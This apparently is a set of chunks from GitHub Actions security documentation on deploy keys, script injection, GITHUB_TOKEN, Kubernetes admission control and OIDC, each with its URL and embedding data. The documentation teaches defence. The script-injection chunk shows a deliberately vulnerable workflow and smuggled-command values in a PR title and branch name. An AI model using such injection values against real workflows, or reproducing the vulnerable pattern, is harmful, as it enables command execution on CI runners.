Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys). \* Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. 1. \*\*{% data variables.product.prodname\_github\_app %} tokens\*\* \* {% data variables.product.prodname\_github\_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname\_github\_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). 1. \*\*{% data variables.product.pat\_generic %}s\*\* \* You should never use a {% data variables.product.pat\_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in. \* If you do use a {% data variables.product.pat\_generic %}, you should never use a {% data variables.product.pat\_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% data variables.product.pat\_v2 %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. 1. \*\*SSH keys on a personal account\*\* \* Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat\_v1\_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. ## Next steps For security best practices with {% data
https://github.com/github/docs/blob/main//content/actions/concepts/security/compromised-runners.md
main
github-actions
[ -0.05812697485089302, -0.04921390861272812, -0.10502251982688904, -0.025707539170980453, -0.0013937988551333547, 0.025959257036447525, 0.09492097049951553, 0.07818856090307236, -0.010964649729430676, -0.01322760246694088, 0.002543583046644926, -0.0015949135413393378, 0.027826305478811264, ...
0.130333
repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. ## Next steps For security best practices with {% data variables.product.prodname\_actions %}, see [AUTOTITLE](/actions/reference/secure-use-reference).
https://github.com/github/docs/blob/main//content/actions/concepts/security/compromised-runners.md
main
github-actions
[ -0.04389425367116928, -0.006113474257290363, -0.09422962367534637, -0.07633785903453827, -0.030163606628775597, 0.03806499391794205, 0.056512054055929184, 0.03163585066795349, 0.02814939059317112, 0.018894504755735397, 0.08188077062368393, 0.010831736028194427, 0.04071316123008728, -0.0250...
0.083122
## Understanding the risk of script injections When creating workflows, [custom actions](/actions/creating-actions/about-custom-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action), you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. Attackers can add their own malicious content to the [`github` context](/actions/learn-github-actions/contexts#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default\_branch`, `email`, `head\_ref`, `label`, `message`, `name`, `page\_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull\_request.body`. You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname\_actions %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner). In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. The following sections explain how you can help mitigate the risk of script injection. ### Example of a script injection attack A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection: {% raw %} ```yaml - name: Check PR title run: | title="${{ github.event.pull\_request.title }}" if [[ $title =~ ^octocat ]]; then echo "PR title starts with 'octocat'" exit 0 else echo "PR title did not start with 'octocat'" exit 1 fi ``` {% endraw %} This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB\_WORKSPACE"`: ![Screenshot of the title of a pull request in edit mode. A new title has been entered in the field: a"; ls $GITHUB\_WORKSPACE".](/assets/images/help/actions/example-script-injection-pr-title.png) In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull\_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log: ```shell Run title="a"; ls $GITHUB\_WORKSPACE"" README.md code.yml example.js ``` For best practices keeping runners secure, see [AUTOTITLE](/actions/reference/secure-use-reference#good-practices-for-mitigating-script-injection-attacks).
https://github.com/github/docs/blob/main//content/actions/concepts/security/script-injections.md
main
github-actions
[ -0.03727474808692932, -0.05574848875403404, -0.07315418869256973, 0.044773489236831665, 0.016796261072158813, -0.042025044560432434, 0.03365664929151535, 0.03790898248553276, 0.06209142133593559, 0.02156331017613411, 0.01004259567707777, 0.005072500556707382, 0.10730985552072525, -0.024225...
0.099348
## About the `GITHUB\_TOKEN` At the start of each workflow job, {% data variables.product.prodname\_dotcom %} automatically creates a unique `GITHUB\_TOKEN` secret to use in your workflow. You can use the `GITHUB\_TOKEN` to authenticate in the workflow job. When you enable {% data variables.product.prodname\_actions %}, {% data variables.product.prodname\_dotcom %} installs a {% data variables.product.prodname\_github\_app %} on your repository. The `GITHUB\_TOKEN` secret is a {% data variables.product.prodname\_github\_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname\_github\_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see [AUTOTITLE](/actions/reference/workflow-syntax-for-github-actions#permissions). Before each job begins, {% data variables.product.prodname\_dotcom %} fetches an installation access token for the job. {% data reusables.actions.github-token-expiration %} The token is also available in the `github.token` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). ## When `GITHUB\_TOKEN` triggers workflow runs {% data reusables.actions.actions-do-not-trigger-workflows %} {% data reusables.actions.actions-do-not-trigger-pages-rebuilds %} ## Next steps \* [AUTOTITLE](/actions/how-tos/security-for-github-actions/security-guides/use-github\_token-in-workflows) \* [AUTOTITLE](/actions/reference/workflow-syntax-for-github-actions#permissions)
https://github.com/github/docs/blob/main//content/actions/concepts/security/github_token.md
main
github-actions
[ -0.08473551273345947, -0.03825950622558594, -0.07482968270778656, -0.017680102959275246, 0.013335752300918102, 0.010852218605577946, 0.11600562930107117, 0.07959384471178055, -0.010687840171158314, -0.014616774395108223, -0.0024134209379553795, -0.00914073083549738, 0.06486000865697861, -0...
0.139821
## About Kubernetes admission controller [Artifact attestations](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds) enable you to create unfalsifiable provenance and integrity guarantees for the software you build. In turn, people who consume your software can verify where and how your software was built. Kubernetes admission controllers are plugins that govern the behavior of the Kubernetes API server. They are commonly used to enforce security policies and best practices in a Kubernetes cluster. Using the open source [Sigstore Policy Controller](https://docs.sigstore.dev/policy-controller/overview/) project you can add an admission controller to your Kubernetes cluster that can enforce artifact attestations. This way, you can ensure that only artifacts with valid attestations can be deployed. To [install the controller](/actions/how-tos/security-for-github-actions/using-artifact-attestations/enforcing-artifact-attestations-with-a-kubernetes-admission-controller), we offer [two Helm charts](https://github.com/github/artifact-attestations-helm-charts): one for deploying the Sigstore Policy Controller, and another for loading the GitHub trust root and a default policy. ### About image verification When the Policy Controller is installed, it will intercept all image pull requests and verify the attestation for the image. The attestation must be stored in the image registry as an [OCI attached artifact](https://oras.land/docs/concepts/reftypes/) containing a [Sigstore Bundle](https://docs.sigstore.dev/about/bundle/) which contains the attestation and cryptographic material (e.g. certificates and signatures) used to verify the attestation. A verification process is then performed that ensures the image was built with the specified build provenance and matches any policies enabled by the cluster administrator. In order for an image to be verifiable, it must have a valid provenance attestation in the registry, which can be done by enabling the `push-to-registry: true` attribute in the `actions/attest-build-provenance` action. See [Generating build provenance for container images](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds#generating-build-provenance-for-container-images) for more details on how to generate attestations for container images. ### About trust roots and policies The Sigstore Policy Controller is primarily configured with trust roots and policies, represented by the Custom Resources `TrustRoot` and `ClusterImagePolicy`. A `TrustRoot` represents a trusted distribution channel for the public key material used to verify attestations. A `ClusterImagePolicy` represents a policy for enforcing attestations on images. A `TrustRoot` may also contain a [TUF](https://theupdateframework.io/) repository root, making it possible for your cluster to continuously and securely receive updates to its trusted public key material. If left unspecified, a `ClusterImagePolicy` will by default use the open source Sigstore Public Good Instance's key material. When verifying attestations generated for private repositories, the `ClusterImagePolicy` must reference the GitHub `TrustRoot`. ## Next steps When you're ready to use an admission controller, see [AUTOTITLE](/actions/how-tos/security-for-github-actions/using-artifact-attestations/enforcing-artifact-attestations-with-a-kubernetes-admission-controller).
https://github.com/github/docs/blob/main//content/actions/concepts/security/kubernetes-admissions-controller.md
main
github-actions
[ -0.006543500814586878, 0.04164426028728485, 0.01823456957936287, -0.04634707793593407, 0.06596259772777557, -0.036322955042123795, 0.013066072016954422, -0.017185606062412262, 0.0487978495657444, 0.06134575977921486, 0.015512559562921524, -0.05889374017715454, 0.05547231808304787, -0.02149...
0.150541
## Overview of OpenID Connect (OIDC) {% data variables.product.prodname\_actions %} workflows are often designed to access a cloud provider (such as AWS, Azure, GCP, HashiCorp Vault, and others) in order to deploy software or use the cloud's services. Before the workflow can access these resources, it will supply credentials, such as a password or token, to the cloud provider. These credentials are usually stored as a secret in {% data variables.product.prodname\_dotcom %}, and the workflow presents this secret to the cloud provider every time it runs. However, using hardcoded secrets requires you to create credentials in the cloud provider and then duplicate them in {% data variables.product.prodname\_dotcom %} as a secret. After you have established a trust connection with a cloud provider that supports OIDC, you can configure your workflow to request a short-lived access token directly from the cloud provider. ## Benefits of using OIDC By updating your workflows to use OIDC tokens, you can adopt the following good security practices: \* \*\*No cloud secrets:\*\* You won't need to duplicate your cloud credentials as long-lived {% data variables.product.github %} secrets. Instead, you can configure the OIDC trust on your cloud provider, and then update your workflows to request a short-lived access token from the cloud provider through OIDC. \* \*\*Authentication and authorization management:\*\* You have more granular control over how workflows can use credentials, using your cloud provider's authentication (authN) and authorization (authZ) tools to control access to cloud resources. \* \*\*Rotating credentials:\*\* With OIDC, your cloud provider issues a short-lived access token that is only valid for a single job, and then automatically expires. ## How OIDC integrates with {% data variables.product.prodname\_actions %} The following diagram gives an overview of how {% data variables.product.github %}'s OIDC provider integrates with your workflows and cloud provider: ![Diagram of how a cloud provider integrates with {% data variables.product.prodname\_actions %} through access tokens and JSON web token cloud role IDs.](/assets/images/help/actions/oidc-architecture.png) 1. You establish an OIDC trust relationship in the cloud provider, allowing specific {% data variables.product.github %} workflows to request cloud access tokens on behalf of a defined cloud role. 1. Every time your job runs, {% data variables.product.prodname\_dotcom %}'s OIDC provider auto-generates an OIDC token. This token contains multiple claims to establish a security-hardened and verifiable identity about the specific workflow that is trying to authenticate. 1. A step or action in the workflow job can request a token from {% data variables.product.github %}’s OIDC provider, which can then be presented to the cloud provider as proof of the workflow’s identity. 1. Once the cloud provider successfully validates the claims presented in the token, it then provides a short-lived cloud access token that is available only for the duration of the job. ## Understanding the OIDC token Each job requests an OIDC token from {% data variables.product.prodname\_dotcom %}'s OIDC provider, which responds with an automatically generated JSON web token (JWT) that is unique for each workflow job where it is generated. When the job runs, the OIDC token is presented to the cloud provider. To validate the token, the cloud provider checks if the OIDC token's subject and other claims are a match for the conditions that were preconfigured on the cloud role's OIDC trust definition. The following example OIDC token uses a subject (`sub`) that references a job environment named `prod` in the `octo-org/octo-repo` repository. ```yaml { "typ": "JWT", "alg": "RS256", "x5t": "example-thumbprint", "kid": "example-key-id" } { "jti": "example-id", "sub": "repo:octo-org/octo-repo:environment:prod", "environment": "prod", "aud": "{% ifversion ghes %}https://HOSTNAME{% else %}https://github.com{% endif %}/octo-org", "ref": "refs/heads/main", "sha": "example-sha", "repository": "octo-org/octo-repo", "repository\_owner": "octo-org", "actor\_id": "12", "repository\_visibility": "private", "repository\_id": "74", "repository\_owner\_id": "65", "run\_id": "example-run-id",
https://github.com/github/docs/blob/main//content/actions/concepts/security/openid-connect.md
main
github-actions
[ -0.12017574906349182, -0.015442821197211742, -0.05379914119839668, -0.00860572885721922, 0.016358371824026108, 0.010472362861037254, 0.08691789954900742, 0.02837408147752285, 0.09368124604225159, -0.03626065328717232, -0.015321176499128342, 0.05099909380078316, 0.04217110574245453, -0.0684...
0.075013
`prod` in the `octo-org/octo-repo` repository. ```yaml { "typ": "JWT", "alg": "RS256", "x5t": "example-thumbprint", "kid": "example-key-id" } { "jti": "example-id", "sub": "repo:octo-org/octo-repo:environment:prod", "environment": "prod", "aud": "{% ifversion ghes %}https://HOSTNAME{% else %}https://github.com{% endif %}/octo-org", "ref": "refs/heads/main", "sha": "example-sha", "repository": "octo-org/octo-repo", "repository\_owner": "octo-org", "actor\_id": "12", "repository\_visibility": "private", "repository\_id": "74", "repository\_owner\_id": "65", "run\_id": "example-run-id", "run\_number": "10", "run\_attempt": "2", "runner\_environment": "github-hosted", "actor": "octocat", "workflow": "example-workflow", "head\_ref": "", "base\_ref": "", "event\_name": "workflow\_dispatch",{% ifversion actions-OIDC-custom-claim-enterprise %} "enterprise": "avocado-corp",{% endif %}{% ifversion actions-OIDC-enterprise\_id-claim %} "enterprise\_id": "2",{% endif %} "ref\_type": "branch", "job\_workflow\_ref": "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main", "iss": "{% ifversion ghes %}https://HOSTNAME/\_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}", "nbf": 1632492967, "exp": 1632493867, "iat": 1632493567 } ``` {% ifversion ghec %} ## Establishing OIDC trust with your cloud provider To use OIDC in your workflows, you must establish a trust relationship between {% data variables.product.github %} and your cloud provider. This trust relationship ensures that only authorized workflows can request access tokens for your cloud resources. Before granting an access token, your cloud provider checks that the [`subject`](https://openid.net/specs/openid-connect-core-1\_0.html#StandardClaims) and any other claims used to set conditions in its trust settings match those in the request's JSON Web Token (JWT). If the trust configuration matches, your cloud provider issues a temporary access token to the workflow. For steps and syntax for configuring OIDC trust and setting conditions for cloud providers, see [AUTOTITLE](/actions/reference/openid-connect-reference#oidc-claims-used-to-define-trust-conditions-on-cloud-roles). ## Configuring OIDC on {% data variables.enterprise.data\_residency\_site %} If you are part of an enterprise that uses {% data variables.enterprise.data\_residency %} and you're setting up OIDC on {% data variables.enterprise.data\_residency\_site %}, you must \*\*substitute certain values\*\* while configuring OIDC. For more information, see [AUTOTITLE](/enterprise-cloud@latest/actions/reference/openid-connect-reference#substituted-values-on-ghecom). {% endif %} ## Authenticating custom actions using OIDC Custom actions use the `getIDToken()` method from the Actions toolkit or a `curl` command to authenticate using OIDC. For more information, see [AUTOTITLE](/actions/reference/openid-connect-reference#methods-for-requesting-the-oidc-token). ## Updating your workflows for OIDC {% data variables.product.prodname\_actions %} workflows can use OIDC tokens instead of secrets to authenticate with cloud providers. Many popular cloud providers offer official login actions that simplify the process of using OIDC in your workflows. For more information about updating your workflows with specific cloud providers, see [AUTOTITLE](/actions/how-tos/security-for-github-actions/security-hardening-your-deployments). ## Next steps For more information about configuring OIDC, see [AUTOTITLE](/actions/how-tos/security-for-github-actions/security-hardening-your-deployments). For reference information about OIDC, see [AUTOTITLE](/actions/reference/openid-connect-reference).
https://github.com/github/docs/blob/main//content/actions/concepts/security/openid-connect.md
main
github-actions
[ -0.03543670475482941, 0.0005160942091606557, -0.04605426266789436, -0.038420986384153366, 0.07061012089252472, -0.048520978540182114, -0.0372978039085865, -0.03005950339138508, 0.03412000834941864, 0.04227576404809952, 0.0611577145755291, -0.04424265772104263, 0.003356026951223612, -0.0177...
0.015513